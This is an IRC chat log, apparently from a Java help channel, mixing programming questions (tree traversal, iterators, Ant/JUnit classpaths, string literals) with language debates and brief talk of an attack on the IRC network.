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[00:04:55] <Tahlon> If there is anyone more skilled than I am, who wouldn't mind providing some help with a program, would you be so kind as to send me a pm?  I'm working with binary trees at the moment, specifically with breadthFirst and bottomUpBreadthFirst traversals, and just need help figuring out where I'm going wrong.  Thank you.
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[00:05:37] <slava> do your own homework you idiot
[00:05:49] <fforw> rude.
[00:05:50] <ramza3> Clackwell: please explain the name changing for me
[00:06:13] <vinse> 41 seconds till the first "do you own homework" type comment
[00:06:14] <vinse> not bad
[00:06:16] <Tahlon> Thanks slava, that was certainly helpful.
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[00:06:27] <Calcifer> lol
[00:06:32] <cheeser> slava: chill
[00:06:37] <Calcifer> agreed
[00:06:40] <Sou|cutter> slava: Sounds like he IS working on his homework, and is looking for guidance.  Personally I find that to be okay
[00:06:46] <cheeser> i do, too.
[00:06:54] <Sou|cutter> slava: if he asks for somebody to DO his homework, that's something else
[00:07:52] <Calcifer> ( Tahlon ): just state your question in the channel (and post the code on the website)
[00:08:18] <Tahlon> Look, I was directed here by someone else, and only came by to see if I could get guidance in where I'm going wrong with my program.  If that's asking for too much, I'll go elsewhere for the help.  No need to jump upon me and begin childish name calling.
[00:08:32] <cheeser> Tahlon: you can ignore slave.
[00:08:38] <cheeser> slava, rather.
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[00:09:52] <Tahlon> And thanks to the rest of you.  Like I said, just looking for help, that's all.
[00:10:41] <cheeser> Tahlon: yeah, go ahead and ask in channel (but don't paste code here, see topic).  you'll get a wider breadth of experience.
[00:11:16] <Tahlon> Now, what is the best way for me to display what it is I'm working on?  Chatzilla is the irc client I'm using, but for whatever reason it doesn't properly display code, and it would take forever to display one line at a time.
[00:11:34] <Eno_> if i do, return "blah", does java automatically create a new String and return it?
[00:11:36] <Sou|cutter> Tahlon: pastebin
[00:11:36] <fforw> (I know it's offtopic but does anyone know why ChanServ killed #ubuntu ?)
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[00:11:43] <Sou|cutter> ~tell Tahlon about pastebin
[00:11:43] <javabot> Tahlon, Paste your code, preferably a test case, any errors, and any other relevant information into the pastebin and tell us the URL: http://eugeneciurana.com/pastebin
[00:11:50] <Tahlon> And sorry cheeser, your message came in just before I hit enter.  :)
[00:11:53] <slava> Eno_: no new string is created, "blah" is already a string
[00:12:06] <Eno_> hmm
[00:12:14] <Eno_> right
[00:12:27] <Eno_> so a String is created
[00:12:38] <slava> no, a string is not created when the 'return' executes
[00:12:40] <cheeser> Tahlon: don't sweat it.
[00:12:44] <slava> it is created at class load time
[00:12:48] <slava> like all literals
[00:12:53] <Eno_> ah
[00:13:02] <Sou|cutter> Tahlon: if you can, only post the relevant snippets (not a giant slice of code with only a tiny relevant section for us to have to find)
[00:13:19] <Eno_> slava: i was thinking something like: return "literal" + var + "literal"
[00:13:28] <Eno_> in that case will a new String be created?
[00:13:30] <slava> Eno_: that creates a string
[00:13:30] <slava> yes
[00:13:33] <Eno_> okay :)
[00:13:36] <Eno_> thanks
[00:13:55] <Tahlon> Will do.  The problem seems to be within the queue and the breadthFirst traversal itself.  One moment while I get that bit of info together and post it to the pastebin.....
[00:14:02] <Eno_> pretty neat that it makes a real "String"...
[00:14:16] <slava> what's so neat about that?
[00:14:18] <slava> "foo" is a string
[00:14:18] <Eno_> unlike some other languages :)
[00:14:26] <Eno_> yeah, but its of type String
[00:14:36] <slava> because that's what strings are in java
[00:14:46] <Eno_> yup :)
[00:14:54] <slava> what did you think they were?
[00:15:13] <Eno_> i didn't think they were anything else - i was just saying it was neat.
[00:15:17] <Eno_> hehe
[00:15:35] <Eno_> i guess i'm amused by simple things :(
[00:15:47] <slava> any decent language has a string type
[00:15:53] <slava> pity java's strings are not lists though
[00:16:12] <Drone> View Tahlon's post at:  http://eugeneciurana.com/pastebin/pastebin.php?show=8333
[00:17:59] <quietdisaster> weird
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[00:20:26] <cheeser> poor ChanServ
[00:22:08] <littlezoper> alas, poor ChanServ.  I knew him well.
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[00:23:54] <dvoss> If I am iterating along a list (0, 1, 2), and I am at the start of the list, and I call iter.nextIndex(); iter.next(); iter.remove(); iter.nextIndex(); does that last nextIndex() call return 1 (what the index of the next object was before deleting) or 0 (the index after deleting the first object)?
[00:24:22] <littlezoper> ~tell dvoss about tias
[00:24:23] <javabot> dvoss, Try It And See.  You look silly asking if something will work when you can just try it and see.
[00:24:35] <littlezoper> that factoid sure is inflammatory
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[00:27:02] <dvoss> It's funny how the javadocs say "iterators allow the caller to remove elements ... with well-defined semantics" but then don't bother to explain what the semantics are. :(
[00:27:19] <littlezoper> hehe
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[00:30:14] <dvoss> ...actually, it's sad more than funny.
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[00:31:14] <littlezoper> yeah it is
[00:32:30] <slava> dvoss: mutating a collection while iterating is is a bad idea anyway
[00:32:38] <slava> collect the elements you wish to retain into a new collection
[00:33:26] <fforw> dvoss: or set up sufficient synchronization
[00:34:07] <slava> most collections should be immutable
[00:34:38] * cheeser blinks.
[00:34:46] <cheeser> makes it hard to add to them...
[00:34:53] <cybereal> yeah... kinda defeats the purpose
[00:35:09] <slava> defeats the purpose of what?
[00:35:15] <cheeser> building a list.
[00:35:39] <slava> what i meant is instead of removing elements and so on, new collections should be built
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[00:44:01] <ramza3> so, I change fork=\
[00:44:09] <ramza3> wrong channel
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[00:45:02] <thehil> Does anyone know robocode?
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[00:45:15] <fforw> yes
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[00:47:03] <dvoss> Well, I tried it, and the iterator does not Do The Right Thing as far as I am concerned. The index
[00:47:24] <thehil> fforw, please tell me a tutorial for robocode
[00:47:50] <Hikaru79> Wheee, RoboCode =D
[00:47:51] <fforw> i don't know one.. we figured a bit of it out in assisting each other at our company
[00:47:53] <slava> dvoss: just do as i suggested
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[00:48:18] <ramza3> thehil, try googling on ibm and robocode
[00:48:27] <thehil> I did. I will try harder
[00:48:38] <cheeser> dvoss: no!  you mean you delete stuff and the indexes change!  say it ain't so!
[00:49:06] <fforw> the hardest part about robocode is the math..
[00:49:21] <ramza3> you mean geometry
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[00:49:26] <fforw> yeah
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[00:50:48] <shingoki> dvoss, if you want a constant index to element mapping, use a map
[00:51:05] <ramza3> fforw, x = rad * cos(ANGLE) ; y = rad * sin(ANGLE)  is all you need
[00:51:19] <shingoki> The whole reason iterators support remove is to make it easy to do a pass where you filter a list without worrying about tracking changing indices
[00:51:34] <shingoki> but I agree the best way is to just make a new list with the elements you want to keep
[00:52:06] <MrPrimate> shingoki, but doesn't that sound inefficient ?
[00:52:20] <slava> no its not inefficient
[00:52:20] <shingoki> MrPrimate, which bit?
[00:53:24] <shingoki> It would probably depend on the list you were using, iterating a linked list while removing elements should be pretty efficient
[00:53:32] <shingoki> the same for an arraylist would probably not be efficient
[00:53:48] <shingoki> in which case copying while filtering might well be better
[00:54:05] <shingoki> Just because something involves "making something new" doesn't mean it will be inefficient
[00:54:17] <MrPrimate> yeah you're right, I was thinking of osmething silly
[00:54:18] <fforw> ramir3z: and maybe back again (cartesian to polar)
[00:54:35] <slava> fforw: that's trivial
[00:54:46] <slava> r=sqrt(x^2+y^2), theta=atan2(y,x)
[00:54:47] <ramza3> ramir3z, != ramza3
[00:54:50] <shingoki> tangent and pythagoras
[00:55:03] <fforw> I didn't say it's hard.. but it's the hardest part of robocode
[00:55:32] <shingoki> I'm surprised there isn't a polar coord and cartesian coord with conversions
[00:55:43] <ramza3> even the ti85 has that
[00:55:44] <slava> because nobody uses java for math
[00:55:49] <shingoki> slava, I do
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[00:56:00] <slava> well, you're in the minority
[00:56:02] <shingoki> there are java numeric libraries
[00:56:09] <shingoki> Yeah I guess
[00:56:16] <slava> if an enteprise programmer sees math functions in the API, they freak out -- bad marketing -- so they were not included
[00:56:23] <shingoki> heh
[00:56:33] <ramza3> are they using the ti-85 or is it something else now?
[00:56:59] <shingoki> For me java makes up in reusability and ease of use what it loses in speed, which in any case seems to be minimal once you have run a few times and the JIT has kicked in
[00:57:06] <shingoki> JIT should be NIT for nearly in time
[00:57:27] <slava> shingoki: what kind of math do you do?
[00:57:37] <shingoki> scientific analysis
[00:57:42] <slava> shingoki: i work on a cad package in objective C and its painful without operator overloading
[00:57:46] <shingoki> feature extraction, stuff like that
[00:58:06] <shingoki> slava, I've always had a fairly high tolerance for .add instead of + :)
[00:58:15] <ramza3> shingoki, image feature extraction
[00:58:20] <slava> my fingers can't take it
[00:58:26] <shingoki> ramza3, more or less yup
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[00:58:33] <slava> in obj C its worse
[00:58:41] <slava> [myVec addTo: anotherVec]
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[00:58:54] <shingoki> slava, with the square brackets as well?
[00:58:58] <slava> yes
[00:59:18] <ramza3> shingoki, do you use neural networks for anything
[00:59:28] <ramza3> or all math?
[00:59:50] <cap___> hello, I have problems with the 'ñ' String's. Howto tranlate the ñ to HTML &ntilde;
[01:00:09] <cap___> my System.out is ok : Cuñado
[01:00:12] <shingoki> ramza3, well neural networks are still math, but I haven't really used them much, I dug out some libraries to do networks though
[01:00:25] <slava> i'd use ocaml for numerical work
[01:00:36] <shingoki> ramza3, eventually I might get round to looking at them :) They can be too unpredictable for most stuff I do though
[01:00:38] <slava> it is more efficient
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[01:01:00] <shingoki> slava, yeah I want to try ocaml, but its a bit eclectic at the moment
[01:01:11] <shingoki> I have a hard enough time getting people to go along with Java instead of plain C
[01:02:56] <dvoss> Give my Dylan any day.
[01:03:06] <dvoss> *me
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[01:03:42] <shingoki> A lot of what I do is also linking the analysis into a nice UI, so Java works well for that
[01:03:55] <shingoki> I would need a good binding to whatever other language I used
[01:05:08] <slava> GUI libraries is one thing less popular languages suck at
[01:05:58] <shingoki> yup
[01:06:18] <shingoki> normally there is an ok GTK or QT binding, but I need to be cross platform
[01:06:22] <shingoki> or at least work on windows :)
[01:06:25] <dvoss> Java works well for nice UIs?  *roflol*
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[01:06:33] <shingoki> dvoss, it does for me ;P
[01:06:46] <slava> shingoki: my gui toolkit is going to rock though
[01:07:04] <shingoki> slava, ah well, get it sorted out and I will switch to factor ;)
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[01:07:28] <shingoki> I keep thinking I would like to write a gl accelerate super minimal UI, just for my own little apps
[01:07:45] <slava> doing text in opengl is a pain
[01:07:53] <shingoki> ah yeah
[01:08:01] <shingoki> I'll just go retro and use bitmap fonts :)
[01:08:19] <Mazon> yup - bitmap fonts is probably the best way to go
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[01:08:58] <slava> well bitmap or scalable are the same
[01:09:10] <slava> you draw each character one at a time as a texture-mapped quad
[01:09:11] <shingoki> You just render to textures, I guess?
[01:09:15] <shingoki> right
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[01:18:30] <shingoki> why does mono stuff still use make to build? that is nuts
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[01:24:28] <TrekCycling> I'm trying to setup unit tests where I currently work, but I'm getting a classnotfound exception when the class is clearly in the build path. Anyone ever seen this?
[01:25:00] <cheeser> it's clearly not in the classpath used by the java process trying to find it.
[01:25:09] <cheeser> paste the relevant parts to the pastebin
[01:25:33] <TrekCycling> which parts do you want? The ant stuff?
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[01:28:58] <TrekCycling> weird
[01:29:04] <TrekCycling> It's in the pastebin now
[01:29:19] <cheeser> url?
[01:29:37] <TrekCycling> http://eugeneciurana.com/pastebin/pastebin.php?show=8334
[01:29:39] <TrekCycling> sorry
[01:29:57] <TrekCycling> Some pastebins people just go hit
[01:30:16] <cheeser> people tend to use a variety.
[01:30:19] <TrekCycling> obviously much is left out. Let me know what else you need to see.
[01:30:21] <TrekCycling> yeah
[01:30:52] <cheeser> you get the error in which target?
[01:31:05] <cheeser> probably compile, yes?
[01:31:10] <TrekCycling> no
[01:31:16] <TrekCycling> in junitSingleTest
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[01:31:45] <TrekCycling> it compiles fine, I can see the file dropped into the same directory with the other classes from the src tree
[01:31:56] <cheeser> paste the error there
[01:31:59] <TrekCycling> I'm running a src and test source tree
[01:32:00] <TrekCycling> okay
[01:32:42] <TrekCycling> http://eugeneciurana.com/pastebin/pastebin.php?show=8335
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[01:33:31] <TrekCycling> oops, with the dots (.) replaced by slashes
[01:33:40] <TrekCycling> I was just trying something out that time
[01:33:58] <cheeser> remove that fork="false"
[01:34:14] <TrekCycling> okay
[01:34:18] <cheeser> iirc, <classpath> element are ignored unless you fork.
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[01:35:15] <TrekCycling> still same error
[01:35:19] <cheeser> hrm.
[01:35:43] <TrekCycling> just a sec, here's what it looks like now, fwiw
[01:36:08] <TrekCycling> http://eugeneciurana.com/pastebin/pastebin.php?show=8336
[01:36:29] <TrekCycling> with the slashes it looks more correct, but still can't find the class
[01:37:11] <cheeser> try it with this:          <junit classpathref="junit.classpath">
[01:37:22] <cheeser> and drop the <classpath> element
[01:37:25] <TrekCycling> okay, just a sec
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[01:38:05] <TrekCycling> there's no attribute for that according to the DTD
[01:38:13] <cheeser> ah ha!
[01:38:16] <slava> hi cybereal
[01:38:16] <TrekCycling> it's not coming up at least in Eclipse
[01:38:16] <cheeser> scrap that.
[01:38:19] <cybereal> slava: hi
[01:38:23] <cheeser> put fork="true"
[01:38:29] <cheeser> the default is to not fork.
[01:38:38] <slava> but if he doesn't fork then won't ant already have the classes in the class path?
[01:38:56] <TrekCycling> same thing
[01:38:57] <cheeser> if those classes are in ANT_HOME/lib, yes
[01:39:03] <TrekCycling> weird
[01:39:12] <cheeser> if you don't fork you get ant's startup classpath
[01:39:12] <slava> oh, its his app's classes that are not found, not junit
[01:39:13] <slava> never mind
[01:39:19] <cheeser> right
[01:39:28] <quietdisaster> lol wtf happened
[01:39:33] <vinse> god this lilo person is spamming me
[01:39:35] <cheeser> an attack on the network
[01:39:37] <vinse> some one ban him
[01:39:40] <cybereal> hah
[01:39:42] <cheeser> vinse: he's the main freenode guy
[01:39:46] <vinse> BAN
[01:39:48] <quietdisaster> lol
[01:39:56] <quietdisaster> no seriously, there was an attack on the network
[01:39:58] <cybereal> FreeNode suffered an attack about 40 min. ago
[01:40:06] <quietdisaster> that *may* have compromised passwords?
[01:40:07] <cybereal> Services were restored from backups
[01:40:07] <quietdisaster> wtf is that
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[01:40:15] <Gorbulas|iBook> hello
[01:40:22] <cybereal> quietdisaster: just means they don't know but it was possible
[01:40:34] <rogue-kun{B}> [18:39] -lilo- [Global Notice] Hi all. Just to make sure everyone knows, we are reasonably-certain your passwords have not been compromised, but password changes are a very prudent precaution at this point. Thanks!
[01:40:58] <slava> that's what they get for writing irc servers in c
[01:41:04] <Gorbulas|iBook> lol
[01:41:07] <quietdisaster> haha
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[01:41:27] <cybereal> slava: should've used ocaml!
[01:41:33] <TrekCycling> cheeser: Sorry to take up so much of your time. This is surreal. I'm following stuff I've done before. Working from a book as well to make sure. Still can't get it to work. The class compiles correctly into the right directory. I don't know.
[01:41:36] <slava> well ocaml doesn't have buffer overruns, so yes
[01:41:44] <rogue-kun{B}> slava: could be worse it could have been VB ;)
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[01:41:48] <cheeser> TrekCycling: yeah, nothing else comes to mind either...
[01:42:21] <Gorbulas|iBook> if VB ran on BSD, then it would probably be more secure than C
[01:42:50] <slava> vb runs on bsd, see mono
[01:42:58] <Gorbulas|iBook> that's not VB
[01:43:03] <Gorbulas|iBook> that's VB.net
[01:43:06] <slava> ok
[01:43:12] <Amnesiac> this is odd...
[01:43:16] <Gorbulas|iBook> I'm not sure which is worse
[01:43:18] <fforw> well.. microsoft killed VB
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[01:43:26] <slava> vb.net is the same as c# with minor syntax differences
[01:43:34] <grifis> when sending a String with client (for example 'ciao'), i cannot understand why my C server receive 'ciao?', where ? is garbage data....
[01:43:35] <fforw> Gorbulas|iBook:  regular VB is worse, no doubt.
[01:43:36] <cybereal> fforw: which is a good thing
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[01:43:42] <Lars_G> Hi all.
[01:43:45] <Lars_G> pr3d4t0r: Ping?
[01:43:48] <cybereal> hola
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[01:43:50] <Amnesiac> I have a small distributed system as a test.... when I run the kernel whitin Eclipse... running a server and a client... if I click one of the client's buttons repeatedly very fast, the program ( socket ) hangs...
[01:43:51] <fforw> cybereal:  yes.. although it fucks over m$ customers
[01:43:54] <Gorbulas|iBook> but I liked programming VB6 better than VB.net
[01:43:56] <rogue-kun{B}> fforw only becuase they failed to kill java with J++, and need a new tack [hence C#]
[01:43:57] <Lars_G> or better.
[01:44:00] <Lars_G> slava: Ping
[01:44:02] <Amnesiac> that is... when I press the button to send an action to the server... the socket hangs...
[01:44:03] <Gorbulas|iBook> I haven't used it in a long time
[01:44:03] <slava> hi Lars_G
[01:44:08] <cybereal> fforw: meh, I don't feel bad for them
[01:44:09] <Lars_G> slava: Hi, :)
[01:44:19] <Amnesiac> but if I do that running the program within my xterm, it works
[01:44:22] <Lars_G> slava: Since pr3d4t0r says you code while wanking.. have you ever coded for a long amount of time?
[01:44:24] <Amnesiac> slava, any suggestions?
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[01:44:34] <slava> Lars_G: for a long amount of time?
[01:44:42] <fforw> cybereal:  it's really bad if you were so gullible to put let your companies infrastructure depend on VB
[01:44:42] <Lars_G> slava: On a single run/sit.
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[01:44:53] <cybereal> fforw: Guess you'd learn our lesson then
[01:45:02] <slava> Lars_G: not to the point of neglecting sanitation and food
[01:45:08] <rogue-kun{B}> Lars_G you tring to imple slava has not stanima? ;)
[01:45:15] <TrekCycling> thanks, cheeser, off to do some googling
[01:45:17] <Lars_G> slava: Do you ever get.. dizzy, fuzzy, tired, does it becomes hard to think? and if it happens, how do you refresh yourself to be able to go on?
[01:45:29] <cybereal> Lars_G: My record is 32 hours in one "sitting" minus a couple 15 min. runs to 7-11
[01:45:30] <fforw> cybereal:  I never made that mistake.. but sometimes you just have to support certain legacy applications
[01:45:45] <cybereal> fforw: yeah, sometimes you do... which is why I am glad vb is getting shafted
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[01:45:54] <cybereal> fforw: so someday in 5 years I don't have to support a vb app
[01:45:55] <slava> Lars_G: i just go do something else
[01:46:05] <cybereal> Lars_G: try sleep
[01:46:10] <fforw> cybereal:  we managed to switch most of it to java before though ;)
[01:46:20] <Gorbulas|iBook> but you will need to support some VB.net app that only runs on .net 1.0
[01:46:29] <cybereal> Lars_G: alternatively, and unintuitively, I find a couple beers or a stiff drink helps in that situation
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[01:46:41] <dewaard> hey guys
[01:46:42] * fforw wouldn't touch .net
[01:46:44] <Gorbulas|iBook> your solution will probably involve qemu
[01:46:54] <dewaard> fforw: C# is quite nice
[01:47:03] <fforw> bad java with featuritis
[01:47:03] <cybereal> qemu's network stack is really buggy
[01:47:08] <cybereal> randomly stops working
[01:47:12] <cybereal> can't be relied upon
[01:47:20] <cybereal> fun for use as a toy though
[01:47:20] <dewaard> fforw: I haven't used it on the Windows platform, but it runs great on Mono/Mac OS X
[01:47:26] <slava> java programmers bashing c# is just zealotry since they are identical technologically
[01:47:33] <Gorbulas|iBook> there are multiple network devices, and they implemented the cheapest card
[01:47:45] <fforw> slava:  not really.. unsafe != JNI
[01:47:54] <slava> fforw: unsafe is better than JNI
[01:47:55] <Lars_G> slava: Programmers confusing C# with .NET is sadder yet.
[01:47:57] <cybereal> Gorbulas|iBook: they implemented it poorly is all
[01:48:03] <Lars_G> slava: I do like C#, but I hate .NET
[01:48:22] <Lars_G> C# != .NET
[01:48:26] <dewaard> Lars_G: exactly. C# is the only real good thing in .NET
[01:48:30] <Gorbulas|iBook> I haven't really used either of them
[01:48:37] <fforw> C# - .net means mono which means living with the patent damocles sword above your head
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[01:49:02] <Gorbulas|iBook> VS is too expensive, and the beta is the worst prealpha quality stuff ever called beta
[01:49:14] <fforw> slava:  unsafe is easier to use than JNI which makes it worse =)
[01:49:19] <Lars_G> fforw: Isn't C# a declared standard? as a standard you have no damocles sword, heel or toe above yourself.
[01:49:21] <slava> fforw: that's an absurd statement
[01:49:23] <Gorbulas|iBook> can't select where the SDK is installed unless you manually edit some files
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[01:49:35] <Gorbulas|iBook> the page is missing from the IDE
[01:49:40] <fforw> Lars_G:  a standard does not mean you can't patent the stuff..
[01:49:46] <fforw> (or parts of it)
[01:50:03] <dewaard> the only reason keeping me from using C# in production is that Mono isn't reliable enough (not technically, of course).
[01:50:04] <Gorbulas|iBook> there was a guide somewhere on how to configure it to compile a simple C program
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[01:50:23] <Lars_G> dewaard: And a little slow, the VM needs a lot of tunnign yet. but I agree with you
[01:50:24] <fforw> slava:  using unsafe/JNI code is bad.. the more complicated it is, the better for security because you will only use it as very last resort
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[01:50:31] <slava> fforw: oh my god...
[01:50:35] <dewaard> Lars_G: standards don't rule out patents, sadly
[01:50:46] <slava> fforw: how can i call OpenGL without using JNI?
[01:50:47] <dewaard> there are some patent issues with Mono
[01:50:48] <Lars_G> fforw: Actually, the more complicated it is, the more possibility you missuse it out of missunderstanding.
[01:50:55] <slava> fforw: JOGL is 40,000 lines of Java code
[01:50:59] <slava> fforw: the Factor OpenGL binding is 1700
[01:51:11] <Lars_G> fforw: Beleive me, we see a lot of people daily trying desesperatedly to use things they don't understand in here. it's not going to stop them.
[01:51:13] <slava> fforw: both are functinally equivalent, but the java one requires much more effort to code...
[01:51:18] <Gorbulas|iBook> you don't like Java3D? I thought it was good(never used it yet)
[01:51:41] <dewaard> the guys behind Mono and the different sub projects are quite good, though. I
[01:52:15] <Lars_G> dewaard: They are, but Rome was not built in a day.
[01:52:39] <slava> compare this to the equivalent in JNI: http://cvs.sourceforge.net/viewcvs.py/factor/Factor/Factor/library/opengl/gl.factor?rev=1.1&view=auto
[01:52:53] <Lars_G> slava: You know... I think I'm starting to understand you.
[01:53:43] <fforw> slava:  sure it is easier.. never denied that
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[01:55:51] <Lars_G> fforw: If it's already done, the safety factor of simplicity becomes irrelevant, and only the safety factor of proper codding becomes relevant.
[01:56:37] <Lars_G> fforw: if there was an unavoidable security factor inherently associated to the technique itself the technique would be eventually deprecated or eliminated.
[01:56:37] <slava> is JNI proper coding while declarative binding is not?
[01:57:36] <Lars_G> Time to shoot germans to wind down a little.
[01:57:38] <Lars_G> be well all.
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[01:58:30] <fforw> Lars_G:  it's not unavoidable.. many people manage to code good and secure stuff in C.. but on the average we're better off if all people use a "safe" language and only use native code if they absolutely have to, instead of thinking they need to optimize prematurely
[01:58:57] <fforw> hmpf
[01:59:32] <slava> making calling into C painful does not help anybody
[02:00:01] <slava> it just complicates the implementation of core Java stuff that HAS to call native libraries, like AWT, OpenGL, etc.
[02:00:06] <slava> hence we get more bugs
[02:00:49] <fforw> well.. join #mono, #.net and be happy..
[02:01:04] <slava> i don't use mono or .net
[02:01:29] <fforw> but it's easier and with less bugs according to your logic
[02:01:50] <slava> easier and less bugs than what?
[02:01:53] <fforw> java
[02:02:01] <slava> well i did some java coding today, but usually its pretty rare
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[02:04:22] <fforw> (the main reason I don't use c#/.net is microsoft/windows)
[02:05:26] <slava> C library APIs really suck, so its quite hard to call them already :)
[02:05:39] <slava> i'm writing some freetype wrappers right now, oh my god freetype is painful.
[02:06:46] <fforw> there is no reason why C APIs have to be harder or more awful. it's just that people are used to it
[02:08:04] <slava> C doesn't have a lot of useful abstractions
[02:08:12] <slava> or none at all, actually
[02:08:26] <fforw> does not hinder you to create them
[02:08:37] <slava> C is not extensible...
[02:08:45] <slava> look at GTK's poor attempt at doing OOP in C
[02:08:53] <cybereal> directx
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[02:08:56] <cybereal> same thing, crap
[02:08:57] <fforw> structs can be used in interesting ways
[02:09:12] <slava> i'd rather use a real language
[02:09:18] <fforw> (hell.. I've coded OO assembler =)
[02:09:32] <cybereal> ~fforw--
[02:09:33] <javabot> fforw has a karma level of 1, cybereal
[02:09:38] <cybereal> ~slava++
[02:09:39] <javabot> slava has a karma level of 115, cybereal
[02:09:43] <fforw> cybereal:  ?
[02:10:04] <cybereal> fforw: you are a moron
[02:10:11] <Calcifer> o.o
[02:10:17] <fforw> thanks for insulting me for no reason
[02:10:18] *** ChanServ sets mode: +o pr3d4t0r
[02:10:23] <cybereal> fforw: you asked
[02:10:25] *** cybereal was kicked by pr3d4t0r (No name-calling.)
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[02:11:10] <slava> pr3d4t0r!
[02:11:34] <Calcifer> thought pr3d4t0r was a bot
[02:11:49] <slava> ~pr3d4t0r
[02:11:49] <javabot> slava, pr3d4t0r is a sophisticated caviar-eating mexican swooning impressionable college girls on IRC -- http://eugeneciurana.com/images/pr3d4t0r_3.jpg
[02:11:53] * fforw still does not see why pointing out the obvious make him a moron.
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[02:12:43] <pr3d4t0r> slava!
[02:12:57] <pr3d4t0r> fforw: Dude, chill.
[02:13:09] <pr3d4t0r> fforw: I kicked him already, that was uncalled for, etc.
[02:13:20] <pr3d4t0r> fforw: Let's all agree to disagree.
[02:13:30] <Calcifer> im unsure
[02:13:40] <pr3d4t0r> fforw: I have a lot of respect for slava, for example, but I think he's insane when he calls C "inadequate" or incomplete.
[02:13:58] <pr3d4t0r> fforw: And he probably thinks I'm insane because I enjoy working with C.
[02:14:06] *** ChanServ sets mode: -o pr3d4t0r
[02:14:06] <slava> any turing complete language is "adequate".
[02:14:22] <pr3d4t0r> slava: Yeah, but you suck for not liking C ;)
[02:14:28] <slava> pr3d4t0r: i write C
[02:14:33] <pr3d4t0r> slava: :)
[02:14:47] <slava> pr3d4t0r: a small part of factor is written in C, and then there's the job, etc.
[02:14:49] <pr3d4t0r> slava: I know.  I'm messing with you.
[02:14:50] <slava> pr3d4t0r: but i don't think C is great.
[02:15:05] <pr3d4t0r> slava: Yeah, well... you aren't doing a lot of systems programming.
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[02:16:15] * pr3d4t0r goes to code some Java 5 today.
[02:16:16] <pr3d4t0r> See ya.
[02:16:21] <Calcifer> uhm
[02:16:22] <pr3d4t0r> javabot: Watch the channel.
[02:16:22] * javabot watches the channel for trolls and will call an op if you guys misbehave.
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[02:16:44] <slava> pr3d4t0r: sucks to be you ;)
[02:16:48] <fforw> that version numbering chaos was really unnescecary..
[02:17:00] <Calcifer> im testing this RMI Activation example from the sun website, but i can only get it working locally
[02:17:12] <Calcifer> that is: it wont download the stub
[02:17:44] <Calcifer> anyone knows are tried if this should be working ?
[02:18:06] <Calcifer> *or
[02:22:05] <Calcifer> ( javabot ): Commands
[02:22:08] <Calcifer> err
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[02:23:02] <Calcifer> (javabot) Commands
[02:23:12] <Calcifer> damn script -_-
[02:23:42] <Gorbulas|iBook> javabot: commands
[02:23:43] <javabot> Gorbulas|iBook, I have no idea what commands is.
[02:23:58] <quietdisaster> you can msg him and ask him for help
[02:24:02] <Gorbulas|iBook> javabot: rmi
[02:24:02] <javabot> Gorbulas|iBook, rmi is Remote Method Invocation or http://java.sun.com/tutorial/rmi
[02:24:14] <Calcifer> javabot: rmi activation
[02:24:15] <javabot> I guess the factoid 'rmi spec' might be appropriate:
[02:24:17] <javabot> Calcifer, rmi spec is http://java.sun.com/j2se/1.5.0/docs/guide/rmi/spec/rmiTOC.html
[02:24:23] <Calcifer> javabot: activation
[02:24:24] <javabot> Calcifer, I have no idea what activation is.
[02:24:28] <Calcifer> hmm
[02:25:15] <Calcifer> it wont help me, it helps directing you to the java.sun website, if you cant find stuff. it seems
[02:25:25] <jake> OT: What hours do fulltime programmers here work?
[02:25:40] <cybereal> I pick my hours
[02:26:07] <jake> cybereal, so how do you deal with meetings? If they're scheduled you just show up for them?
[02:26:11] <cybereal> yep
[02:26:29] <cybereal> always have at least 24 hours notice
[02:26:41] <cybereal> and if necessary there is always the phone
[02:26:51] <jake> Sure. Although, the phone interrupts sleep too :)
[02:27:01] <cybereal> you can turn it off :)
[02:27:08] <Calcifer> voip telephone :)
[02:27:17] <quietdisaster> i work 15 hour shifts 3 days a week
[02:27:21] <quietdisaster> then i have 4 days off
[02:27:25] <jake> no way
[02:27:36] <quietdisaster> lol
[02:27:36] <jake> That would be excellent
[02:27:44] <Gorbulas|iBook> can I ask off topic stuff too?
[02:28:02] <cybereal> ~tell Gorbulas|iBook about ask to ask
[02:28:11] <Gorbulas|iBook> I'm a senior in highschool, and don't know where I am going for college, or any related stuff.
[02:28:17] <quietdisaster> you can always ask something, you just might get bitched at
[02:28:20] <jake> Although, after about 12 hours of programming my brain doesn't work well
[02:28:26] <cybereal> did javabot die?
[02:28:39] <Gorbulas|iBook> you seem like college students or employed programers, so can you give me some direction?
[02:28:43] <Calcifer> did i kill it? :(
[02:28:52] <cybereal> ~source
[02:28:52] <javabot> My subversion repository can be found at http://www.cheeseronline.org/svn/repos/javabot
[02:28:56] <cybereal> ~tell Gorbulas|iBook about ask to ask
[02:29:08] <cybereal> strange...
[02:29:12] <cybereal> ~tell Gorbulas about ask to ask
[02:29:12] <javabot> The user Gorbulas is not on ##java
[02:29:18] <cybereal> the pipe is breaking it
[02:29:19] <Gorbulas|iBook> lol
[02:29:31] <Gorbulas|iBook> maybe
[02:29:36] *** Gorbulas|iBook is now known as Gorbulas
[02:29:44] <cybereal> ~tell Gorbulas about ask to ask
[02:29:49] <Gorbulas> nope
[02:29:52] <Gorbulas> it is broken
[02:29:55] <cybereal> I must be doing it wrong
[02:30:00] <cybereal> ~ask to ask
[02:30:11] <quietdisaster> javabot: cookies
[02:30:12] <javabot> quietdisaster, cookies is http://www.jibble.org/cookies.php
[02:30:22] <cybereal> javabot: ask to ask
[02:30:31] <cybereal> javabot: pizza
[02:30:32] <javabot> cybereal, I have no idea what pizza is.
[02:30:40] <Calcifer> i do
[02:30:50] <Gorbulas> anyway
[02:30:59] <cybereal> hm, ok
[02:31:03] <cybereal> ~tell Gorbulas about ask
[02:31:04] <javabot> Gorbulas, The Ask To Ask protocol wastes more bandwidth than any version of the Ask protocol, so just ask your question.
[02:31:05] <Gorbulas> "asking to ask is asking for axing" or some such thing
[02:31:24] <cybereal> that what was supposed to happen
[02:31:25] <cybereal> oh well
[02:31:48] <Gorbulas> asking before asking off-topic seems better than just asking off-topic
[02:32:00] <Gorbulas> but, what should I be doing to get ready to go to college?
[02:32:10] <quietdisaster> buy some rubbers
[02:32:12] <quietdisaster> who knows
[02:32:14] <Calcifer> lol
[02:32:22] <Gorbulas> I scored good on my SAT from what I've heard
[02:32:32] <quietdisaster> Scored good?
[02:32:36] <quietdisaster> so that was the math part then
[02:32:53] <quietdisaster> haha sorry :)
[02:33:01] <Gorbulas> I don't know
[02:33:04] <Calcifer> maybe he's not english/usa
[02:33:08] <Gorbulas> I got 2010 or 2100
[02:33:20] <jake> haha
[02:33:22] <Gorbulas> the newer test
[02:33:30] <Gorbulas> I was told that was good
